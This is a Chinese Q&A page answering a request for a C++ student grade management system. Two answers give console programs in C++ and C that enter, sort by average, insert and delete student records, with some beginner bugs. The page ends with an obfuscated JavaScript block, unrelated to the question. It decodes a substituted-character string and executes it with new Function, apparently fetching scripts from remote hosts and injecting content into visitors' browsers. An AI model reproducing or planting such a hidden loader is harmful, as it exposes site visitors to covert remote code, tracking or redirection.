用C++编写学生成绩管理系统

哪位高手编下,我一下子写不出来,想看看别人是怎么写的.
2025-02-02 11:07:31
推荐回答(2个)
回答1:

以前写的,目的:学员的成绩管理,每个学员包括三门成绩。 从键盘输入学员信息,包括学号,姓名,三门课成绩。计算学院的平均成绩,按照平均成绩 从大到小排列。
另外实现 (1)插入功能, 要求插入后 保持成绩排序。。
(2)删除功能 输入指定学号。从学员信息表中删除,删除后的成绩保持原有排序!
//----------------------------------------------------
#include "stdafx.h"
#include
#include
#include
#include
#include

using std::cin;
using std::cout;

class CManageStudent
{
public:
BOOL InputOneStudent();
BOOL DelOneStudent();
void ShowAllStudent();

private:
void SortData();

struct Info
{
std::string name; //姓名
INT iStudentID; //学号
INT iLesson1; //成绩
INT iLesson2;
INT iLesson3;
INT iverage; //平均分

Info(){}

Info(INT iID)
:iStudentID(iID)
{
}

//判断相等用于find_if()
BOOL operator()(const Info & data) const
{
return this->iStudentID == data.iStudentID;
}

//判断相等用于sort()从大到小排列
BOOL operator()(const Info & data1, const Info & data2) const
{
return data1.iverage > data2.iverage;
}
} oneInfo;
std::vector< Info > vStudent;
};

BOOL CManageStudent::InputOneStudent()
{
cout<<"请输入学号,取消输入 -1\n";
cin>>oneInfo.iStudentID;
if (oneInfo.iStudentID == -1)
return FALSE;

if ( find_if( vStudent.begin(), vStudent.end(), oneInfo) != vStudent.end() )
{
cout<<"学号已存在!\n";
return FALSE;
}

cout<<"请输入姓名,取消输入 exit\n";
cin>>oneInfo.name;
if (oneInfo.name == "exit")
return FALSE;

cout<<"请输入第1门课的成绩,退出输入-1\n";
cin>>oneInfo.iLesson1;
if (oneInfo.iLesson1 == -1)
return FALSE;

cout<<"请输入第2门课的成绩,退出输入-1\n";
cin>>oneInfo.iLesson2;
if (oneInfo.iLesson2 == -1)
return FALSE;

cout<<"请输入第3门课的成绩,退出输入-1\n";
cin>>oneInfo.iLesson3;
if (oneInfo.iLesson3 == -1)
return FALSE;

oneInfo.iverage = (oneInfo.iLesson1 + oneInfo.iLesson2 + oneInfo.iLesson3) / 3;
vStudent.push_back(oneInfo);
SortData();//插入一条数据后要排序,删除就不用
return TRUE;
}

void CManageStudent::SortData()
{
sort(vStudent.begin(), vStudent.end(), CManageStudent::Info());
}

void CManageStudent::ShowAllStudent()
{
for (std::vector< Info >::iterator it = vStudent.begin(); vStudent.end() != it; ++it )
{
cout<<"学生姓名:"<name
<<" 学号:"<iStudentID
<<" 语文成绩:"<iLesson1
<<" 数学成绩:"<iLesson2
<<" 英语成绩:"<iLesson3
<<" 平均成绩:"<iverage
<}
}

BOOL CManageStudent::DelOneStudent()
{
cout<<"请输入学号,取消输入 -1\n";
cin>>oneInfo.iStudentID;
if (oneInfo.iStudentID == -1)
return FALSE;

std::vector< Info >::iterator it = find_if( vStudent.begin(), vStudent.end(), oneInfo);
if ( it == vStudent.end() )
{
cout<<"学号不存在!";
return FALSE;
}

vStudent.erase(it);

return TRUE;
}

void main()
{
int stop = 0;
CManageStudent rMS;

while (TRUE)
{
cout<<"退出输入 0\n"
<<"录入新信息输入 1\n"
<<"删除信息输入 2\n"
<<"显示信息输入 3\n";
cin>>stop;

switch(stop)
{
case 0:
return;
case 1:
rMS.InputOneStudent();
break;
case 2:
rMS.DelOneStudent();
break;
case 3:
rMS.ShowAllStudent();
break;
default:
break;
}
}
}

用标准c++模板库做的(STL),里面的东西还是很好用的,加了个显示所有信息的功能,应该更好吧~

回答2:

第一个:
#include
#include
#include
#include
#define MAX 50
void input();
void sort();
void display();
void insert();
void del();
void average();
int now_no=0;
struct student
{
int no;
char name[20];
char sex[4];
float score1;
float score2;
float score3;
float sort;
float ave;
float sum;
};
struct student stu[MAX],*p;
main()//主函数
{
char as;
start: printf("\t\t\t欢迎使用学生成绩管理系统\n\n");
//一下为功能选择模块
do{
printf("\n\t\t\t\t1.录入学员信息\n\t\t\t\t2.显示学员信息\n\t\t\t\t3.成绩排序信息\n\t\t\t\t4.添加学员信息\n\t\t\t\t5.删除学员信息\n\t\t\t\t6.退出\n");
printf("\t\t\t\t选择功能选项:");
as=getch();
switch(as)
{
case '1':
system("cls");
input();
break;
case '2':
system("cls");
display();
break;
case '3':
system("cls");
sort();
break;
case '4':
system("cls");
insert();
break;
case '5':
system("cls");
del();
break;
case '6':
system("exit");
exit(0);
default:
system("cls");
goto start;
}
}while(1);
//至此功能选择结束
}
void input()//原始数据录入模块
{
int i=0;
char ch;
do
{
printf("\t\t\t\t1.录入学员信息\n输入第%d个学员的信息\n",i+1);
printf("\n输入学生编号:");
scanf("%d",&stu[i].no);
fflush(stdin);
printf("\n输入学员姓名:");
fflush(stdin);
gets(stu[i].name);
printf("\n输入学员性别:");
fflush(stdin);
gets(stu[i].sex);
printf("\n输入学员成绩:");
fflush(stdin);
scanf("%f",&stu[i].score1);
printf("\n输入学员成绩:");
fflush(stdin);
scanf("%f",&stu[i].score2);
printf("\n输入学员成绩:");
fflush(stdin);
scanf("%f",&stu[i].score3);
printf("\n\n");
i++;
now_no=i;
printf("%d",now_no);
printf("是否继续输入?(Y/N)");
ch=getch();
system("cls");
}
while(ch!='n');
system("cls");
}
void sort()//排序数据函数
{
struct student temp;
int i,j;
for(i=1;i{
for(j=1;j<=now_no-i;j++)
{
if(stu[j-1].ave{temp=stu[j];
stu[j]=stu[j-1];
stu[j-1]=temp;
}}}
}
void display()//显示数据函数
{
int i;
char as;
float ave;
do
{
printf("\t\t班级学员信息列表\n");
printf("\t编号\t姓名\t性别\t成绩\t成绩\t成绩\t平均值\n");
for(i=0;i{
stu[i].sum=stu[i].score1+stu[i].score2+stu[i].score3;
stu[i].ave=stu[i].sum/3;
printf("\t%d\t%s\t%s\t%.2f\t%.2f\t%.2f\t%.2f\n",stu[i].no,stu[i].name,stu[i].sex,stu[i].score1,stu[i].score2,stu[i].score3,stu[i].ave);
}
printf("\t\t按任意键返回主菜单.");
as=getch();
goto exit;
}
while(as!='n');
exit: system("cls");
}
void insert()//插入数据函数
{
char ch;
do
{
printf("\n\t\t输入新插入学员队信息\n");
printf("\n输入学生编号:");
scanf("%d",&stu[now_no].no);
fflush(stdin);
printf("\n输入学员姓名:");
fflush(stdin);
gets(stu[now_no].name);
printf("\n输入学员性别:");
fflush(stdin);
gets(stu[now_no].sex);
printf("\n输入学员成绩:");
fflush(stdin);
scanf("%f",&stu[now_no].score1);
printf("\n输入学员成绩:");
fflush(stdin);
scanf("%f",&stu[now_no].score2);
printf("\n输入学员成绩:");
fflush(stdin);
scanf("%f",&stu[now_no].score3);
printf("\n\n");
now_no=now_no+1;
sort();
printf("是否继续输入?(Y/N)");
ch=getch();
system("cls");
}
while(ch!='n');
}
void del()//删除数据函数
{
int inum,i,j;
printf("输入要删除学员的编号:");
fflush(stdin);
scanf("%d",&inum);
for(i=0;i{
if(stu[i].no==inum)
{
for(j=i;j{
stu[i]=stu[i+1];
}
now_no=now_no-1;
}
break;
}
system("cls");
}
第二个:
#include //预处理头文件把包含输入输出函数

#include //预处理头文件 改变背景色和延迟时间
/*定义一个结构体来存储学员信息*/
struct student
{
int num; //学号
char name[20]; //姓名
double c; //c成绩
double java; //java成绩
double sql; //sql成绩
double ave; //平均成绩
};

student input();//student input()录入函数原型声明
void output( student stu[],int n);//output()输出函数原型声明
void sort( student stu[],int n);//sort()排序函数原型声明
void insert( student stu[],int n);//insert()插入函数原型声明
void del( student stu[],int n);//del()删除函数原型声明
void Loading();//Loading()函数原型声明

/*主函数*/
void main()
{
//定义一个结构student 大小为50
student stu[50];

//定义一个ch用来接收输入是否继续
char ch;
//定义一个整型变量count为计数器 并赋值为0
int count=0;
//定义一个整型变量k用来接收用户选择功能时的输入
int _k;

//windows的调用
Loading();
//提示用户输入学员信息
printf("\n请输入学员信息");

//用do-while循环来控制是否继续
do
{
//把录入函数input赋值给计数器stu[count]
stu[count]=input();
//提示用户是否继续输入
printf("\n是否继续输入 (y/n)");
//清空缓存
fflush(stdin);
//接受输入并赋值给ch
ch=getchar();

//计数器递增
count++;
}while(ch=='y'||ch=='Y');//如果ch为y就继续输入学员信息

//提示排序前的学员信息
printf(" \n排序前的学员信息:\n ");
//显示排序前的学员信息
output(stu,count);

//提示排序后的学员信息
printf(" \n排序后的学员信息:\n");
//调用排序函数
sort(stu,count);
//显示排序后的学员信息
output(stu,count);

//用do-while来控制插入学员或删除学员并退出
do
{
//提示选择功能
printf("\n0.退出 1.插入学员 2.删除学员 \n");
printf("请选择功能:");
//接收输入选择的功能
scanf("%d",&_k);

//如果k==0就跳出循环
if(_k==0)
break;
//用switch来控制选择的功能
switch(_k)
{
case 1:insert(stu,count); //插入功能
//增加一个学员信息
count++;
//调用显示函数
output(stu,count);
break;
case 2:del(stu,count); //删除功能
//减少一个学员信息
count--;
//调用显示函数
output(stu,count);
break;
//不在0~2之间就提示有错
default : printf("\n输入有错,请在0~2之间选择。\n");
}
}while(1);
printf("\n\n程序结束,欢迎再次使用!\n\n\n");

}

student input()//录入函数
{
//定义一个变量num
student num;

//提示输入学号要是0~50之间
printf(" \n学号(0~50):");
//接收输入学号
scanf("%d",&num.num);
//如果学号小于0大于50或为字符就执行循环
while(num.num<=0||num.num>50)
{
getchar();
//显示你输入有错,请重新输入
printf("你输入有错,请重新输入");
//接受用户的重新输入学号
scanf("%d",&num.num);
}

//提示输入姓名
printf("姓名:");
//清空缓存
fflush(stdin);
//接收用户输入姓名
gets(num.name);

//提示输入C语言成绩在0到100之间
printf("C语言成绩(0~100):");
//接收输入C语言成绩
scanf("%lf",&num.c);
//如果输入的成绩小于0或大于100或字符就提示输入有错
while((num.c)<0||(num.c)>100)
{
getchar();
printf("你输入有错,请重新输入\n");
//接收输入C语言成绩
scanf("%lf",&num.c);
}

//提示输入JAVA语言成绩在0到100之间
printf("JAVA成绩(0~100):");
//接收输入JAVA语言成绩
scanf("%lf",&num.java);
//如果输入的成绩小于0或大于100或字符就提示输入有错
while((num.java)<0||(num.java)>100)
{
getchar();
printf("你输入有错,请重新输入\n");
//接收输入JAVA语言成绩
scanf("%lf",&num.java);
}

//提示输入SQL语言成绩在0到100之间
printf("SQL成绩(0~100):");
//接收输入SQL语言成绩
scanf("%lf",&num.sql);
//如果输入的成绩小于0或大于100或字符就提示输入有错
while((num.sql)<0||(num.sql)>100)
{
getchar();
printf("你输入有错,请重新输入\n");
//接收输入SQL语言成绩
scanf("%lf",&num.sql);
}

//计算3课成绩的平均值
num.ave=(num.c+num.java+num.sql)/3;
//返回平均值
return num;
}

void output( student stu[],int n)//显示学员信息
{
//定义一个整形变量i用于循环
int i;
//显示学员学号 姓名 平均成绩
printf("\n学号\t姓名\t平均成绩 \n");
//用循环来实现学员学号 姓名 平均成绩的输出
for(i=0;i{
//显示学员学号 姓名 平均成绩
printf("%d\t%s\t%.1lf\n",stu[i].num,stu[i].name,stu[i].ave);
}
}

void sort( student stu[],int n)//冒泡排序
{
//定义变量i,j用于循环
int i,j;
//声明一个结构变量temp
struct student temp;

//表示参加的元素
for(i=0;i{
//表示对比的次数递减
for(j=0;j{
//如果stu[j].aveif(stu[j].ave{
//交换元素
temp=stu[j];
stu[j]=stu[j+1];
stu[j+1]=temp;
}
}
}
}

void insert( student stu[],int n)//插入学员信息
{
//定义变量i,j用于循环
int i;
int j;
//定义一个结构变量temp
struct student temp;

//提示请输入要插入的学员信息
printf("\n请输入要插入的学员信息:\n ");
//把录入值赋给temp
temp=input();

for(i=0;i{
//如果插入的平均值大于原来的学员平均值跳出循环
if(stu[i].avebreak;
}
printf("%d",i);

for(j=n;j>i;j--)//为插入学员空一个位置
{
stu[j]=stu[j-1];
}
//将要插入的数保留在该位置
stu[i]=temp;
printf("\n插入新学员后的信息如下:\n");

}

void del( student stu[],int n)//删除学员信息
{
int i;//定义一个整形变量i用于循环
int _x;//定义一个x用于输入要删除的学号
printf("\n请输入要删除的学号:");
//接收输入数据
scanf("%d",&_x);

for(i=0;i{
//如果stu[i].num==x跳出循环
if(_x==stu[i].num)
break;
}
for(;i{
//删除学员
stu[i]=stu[i+1];
printf(" \n删除后学员的信息如下:\n");
}
}

void Loading()
{
int M=30;//定义一个常量来接收方块的个数
int i;
printf("\t\t\t学 员 成 绩 管 理 系 统\n");
printf("【程序装载中 ");
for(i=1;i<=M;i++)
{
printf("■");
Sleep(150);
}
printf("】");

printf("【载入完成】\n");
printf("【欢迎使用学生成绩管理系统,本程序启动代码为**原创... 】");
fflush(stdin);
Sleep(800);

printf("\t\t\t学 员 成 绩 管 理 系 统\n");
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();